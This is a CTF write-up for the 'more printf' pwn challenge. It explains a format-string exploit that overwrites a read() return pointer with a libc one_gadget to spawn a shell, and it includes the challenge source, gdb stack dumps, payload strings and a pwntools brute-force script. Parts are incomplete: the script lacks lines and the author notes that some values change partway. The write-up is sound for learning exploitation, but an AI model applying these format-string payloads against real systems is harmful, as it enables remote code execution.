zh3ro CTF - more printf (pwn)

Table of Contents

Challenge Description


nc pwn.zh3r0.cf 2222

Attached: printf.tar.gz

Author - hk


Extracting the tar archive, we are provided with a binary, the source code, and libc-2.27.so.

/* gcc -o more-printf -fstack-protector-all more-printf.c */
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

FILE *fp;
char *buffer;
uint64_t i = 0x8d9e7e558877;

_Noreturn main() {
  /* Just to save some of your time */
  uint64_t *p;
  p = &p;

  /* Chall */
  setbuf(stdin, 0);
  buffer = (char *)malloc(0x20 + 1);
  fp = fopen("/dev/null", "wb");
  fgets(buffer, 0x1f, stdin);
  if (i != 0x8d9e7e558877) {
  } else {
    i = 1337;
    fprintf(fp, buffer);

Checking the security of the binary, we see that we have every protection enabled except for a stack canary.

[*] '/home/elma/Playground/more-printf/more-printf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./'

Let’s dive right into it.

Thought Process

Few minutes into the binary and we already have a few issues on our hands

  1. We are only provided with a single input which is sent to /dev/null. This means that we are unable to leak any output which makes it rather tricky.
  2. Our input is sent to the heap which prevents us from referencing back to our own input in our format string attacks.
  3. There is a ‘canary’ i which prevents us from easily looping to main() and getting another printf.
  4. FULL RELRO is enabled which means that we are unable to overwrite any GOT data and any attempts to do so will be met with a SIGSEGV.

If we look at the disassembly of fprintf, we can see that we want to break at _IO_vfprintf_internal which is fprintf+143. Hence, let’s set a breakpoint there.

Here is what the stack frame looks at fprintf+143.


As you can see, our return address is at 0x7fffffffd7d8 —▸ 0x5555555552af (main+198)

Let’s look at what format string offsets we can control by changing fprintf output to stdout which outputs the format strings.

We can do this with set $rdi=(void*)stdout

We continue to the next instruction, and we see that we have the following values:


which corresponds to

06:0030│         0x7fffffffd700 —▸ 0x55555555d260 ◂— '%p,%p,%p,%p,%p,%p,%p,%p,%p\n'
07:0038│         0x7fffffffd708 —▸ 0x7ffff7af4191 (read+17) ◂— cmp    rax, -0x1000 /* 'H=' */
08:0040│         0x7fffffffd710 —▸ 0x7ffff7dd18c0 ◂— 0x0
09:0048│         0x7fffffffd718 —▸ 0x7ffff7ff5540 ◂— 0x7ffff7ff5540
1c:00e0│         0x7fffffffd7b0 ◂— 0x7fffffffd7b0
1d:00e8│         0x7fffffffd7b8 ◂— 0x8663804b612c7c00
1e:00f0│ rbp     0x7fffffffd7c0 —▸ 0x5555555552c0 (__libc_csu_init) ◂— endbr64
1f:00f8│         0x7fffffffd7c8 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov    edi, eax
20:0100│         0x7fffffffd7d0 ◂— 0x2000000000

The only saving grace of this whole situation is the p = &p, which is in the stack at 1c.

Since we have control over it on our FSB, we are able to use it to modify stuff on our stack and bypass FULL RELRO.

It is also important to note that we are only able to use one positional argument to modify values on the stack.

fprintf will call vfprintf internally. When vfprintf encounters the first positional parameter $ it copies all needed argument to an internal buffer, on the next positional parameter $, it will fetch the original value which was there instead of the changed value.

Now we have all the pieces laid on the table for us, I considered the following techniques

  • We could probably loop back to main to allow us to obtain more writes and easily solve the challenge from there.

However, we quickly noticed that our i canary was stored in the bss segment which address is randomized. This means we are unable to fix the i canary to return to main.

  • Since our i canary only prevents us from calling fprintf a second time, I considered modifying nibbles of some libc addresses into one_gadget addresses and returning to main to call it (i.e. fgets, read etc.)

However, after some trying, I noticed that I will need to reuse p = &p since RELRO is enabled and I have to modify read() and our return address.

At this point, we had ideas all over the place (in fact the answer was in our face but my ubuntu just keeps farting) that we didn’t manage to piece together in time.

Post-CTF exploitation

Before we continue, it is important to understand the internal structures of printf.

┌──────────────────────────┐ ┌───────────────────────────┐
│                          │ │                           │
│                          │ │                           │
│                          │ │                           │
│   fprintf(fp, buffer);   │ │         exit(1);          │
│                          │ │                           │
│                          │ │                           │
└─────────────┬────────────┘ └─────────────▲─────────────┘
              │                            │  return
┌─────────────▼────────────┐ ┌─────────────┴─────────────┐
│                          │ │                           │
│                          │ │                           │
│         vfprintf()       │ │        fprintf()          │
│                          │ │                           │
│                          │ │                           │
└─────────────┬────────────┘ └─────────────▲─────────────┘
              │                            │
┌─────────────▼────────────┐               │
│                          │               │
│                          │               │
│         read()           ├───────────────┘
│                          │
│                          │

read is actually called during the execution of fprintf. This is a whole game-changer for us because remember in our previous collation of ideas, we mentioned modifying a libc address into a one_gadget and call it by returning to main.

In fact, we can modify read and we don’t even need to return to main.

However, that’s not enough. In order to be able to modify read into a one_gadget address, we will use the field width operator *.

Use * to have a variable field width, equals to an signed integer on the stack, can combine with positional argument. Eg. %*10$c: print a number of characters equals to the 10th argument.

Consider the stack frame again.


07:0038         0x7fffffffd708 —▸ 0x7ffff7af4191 (read+17)
1c:00e0         0x7fffffffd7b0 ◂— 0x7fffffffd7b0 \\ p=&p

We first modify our p = &p to point at 0x7fffffffd708. Since we can only use one positional argument, we will pad our format string with %c until we reach the 5th argument which is our offset to p = &p on the stack.

We want to modify the lower bits from b0 -> 08. We will use %hhn which only modifies the last byte of the address.

After playing round a little bit, %c%c%c%5c%hhn will point p to read+ 17.

This is our new stack frame after modification.


07:0038     0x7fffffffd708 —▸ 0x7ffff7af4191 (read+17)
1c:00e0     0x7fffffffd7b0 —▸ 0x7fffffffd708 —▸ 0x7ffff7af4191 (read+17)
1f:00f8     0x7fffffffd7c8 —▸ 0x7ffff7a05b97 (__libc_start_main+231)

Now that we have successfully pointed p to read, we can modify read.

We can use the address of __libc_start_main+231 which is at our 8th offset, and add an offset to it to turn it into a one_gadget address.

Let’s calculate our offset from __libc_start_main+231 to one_gadget.

First, we find our one_gadget offset from libc base.

0x4f365 execve("/bin/sh", rsp+0x40, environ)
  rsp & 0xf == 0
  rcx == NULL

0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
  [rsp+0x40] == NULL

0x10a45c execve("/bin/sh", rsp+0x70, environ)
  [rsp+0x70] == NULL

Using vmmap in gdb, we can obtain our libc base address.

_libc_start_main_ret = 0x00007ffff7a03bf7
_libc_base = 0x00007ffff79e2000

one_gadget = _libc_base + 0x4f3d5 = 0x00007fff08629be7
diff = one_gadget - _libc_start_main_ret = 186334

# since we have already written %c%c%c%5c = 8 bytes, we just have to write
186334 - 8 = 186326 # bytes more.

Here is what our second payload will consist of :

  1. %*8$c : prints number of characters equals to its address 0x7ffff7a05b97
  2. %186326c : adds offset to one_gadget
  3. %5$n : overwrites address of read to number of bytes written before it.

Hence, putting our payloads together, we have


which modifies our pointer to read and modifies read address to one_gadget.

However, since our second %n modifies all 8 bytes of the address and only the last 3 nibbles of libc address is deterministic, there is only a 1 in 32 chance of obtaining our shell. Hence we can write a script for this.

from pwn import *
from warnings import filterwarnings as fw
fw('ignore', category=BytesWarning)

counter = 0
with log.progress("brute forcing to shell") as pro:
    while True:
            # p = process('./more-printf')
            with context.quiet:
                p = remote('pwn.zh3r0.cf', 2222)
            p.sendline("cat flag")
            log.success("enjoy your shell :)")
        except EOFError:
            counter = counter + 1
            pro.status(f"{counter} tries")

Let’s watch this in action!

*note: some of my values may change halfway through the writeup due to an issue with my binary but the concept reamins unchanged!

credits to violenttestpen for going through some of these concepts and teaching me some FSB hacks hehe his writeup is here

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